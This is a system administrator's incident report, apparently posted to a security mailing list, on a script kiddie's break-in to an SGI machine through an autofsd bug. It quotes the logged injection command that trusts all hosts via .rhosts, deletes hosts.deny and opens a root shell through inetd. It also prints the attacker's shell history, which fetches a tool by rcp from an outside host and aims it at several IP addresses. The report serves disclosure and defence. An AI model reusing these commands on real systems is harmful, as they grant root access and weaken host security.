Hacked by the script kiddie - an ordinary netadmin's day

[urbanec () CIV ZCU CZ (Jakub Urbanec)]

Hi,

One of our machines was hacked on Jun 6 by (probably) the script kiddie
from 216-119-26-75.o1.jps.net :-(

Fortunately he/she left almost everything we needed for identifying the
source of the attack - full syslog dump, history file, suid binaries,
backdoor binaries.

 <attention>Full names/IPs included!</attention>

The method of the hack was an old good SGI autofsd bug - more in syslog:

  autofsd[229]: mount of /hosts/;echo '+ +' > /.rhosts;rm -rf /etc/hosts.deny; \
  echo "courier stream tcp nowait root /bin/sh sh -i" > /tmp/bob;inetd /tmp/bob

followed by:

  login[85169]: root () 216-119-26-75 o1 jps net as root

After he/she added a user 'adm' (thanks for history file!) and installed
binaries - Interesting one is trinoo (DDOS) agent. (as well as 'cocaine',
'gibd00r?', bind shell)

So, here's the history file of user 'adm':

# /bin/ls -C $*; }
# nslookup our.machine.here
# ft
# cd /dev/chr
# ftp charlie.cns.iit.edu
# chmod +sx *
# ./eggdrop doomed.tcl
# exit
# /bin/ls -C $*; }
# ./c
# /bin/ls -C $*; }
# cd /tmp
# ls
# rcp enter@208.243.33.204:/usr/people/enter/irix/c c; chmod 755 c;
# ./c 212.179.33.90 23
# ./c 63.236.135.128 23
# /bin/ls -C $*; }
# ls
# ./c 216.98.156.92 23
#

where ./c is probably 'cocaine'  (courtesy of 'strings' - I'm damn sure I
have seen this application before, but I couldn't find any info about it
- does anybody have a clue?). I have binaries and logs, I can put them on
the web if anybody needs it.

        sorry about the lengthy email, but I think you can be interested
        in how the script kiddies work and DDoS tool gets installed.

P.S. I.   the hacked machine was taken down and installed from the scratch

P.S. II.  IP/hosts mentioned above were already noticed about this
          incident

P.S. III. Never plug default installed SGI box into public net:

"...vanilla SGI boxes screaming "hack me pleeeease, my vendor did such a
great job of making it eeeeeeasy" all over the place..."
               "Playing redir games with ARP and ICMP" by Yuri Volobuev

                                        Jakub CUBA++ Urbanec

--
 .................................................................
 Univerzitni 20   tel.:+420-19-7491538        Jakub Cuba++ Urbanec
 306 14,  Plzen   http://home.zcu.cz/~urbanec          LPS-CIV-ZCU
 Czech Republic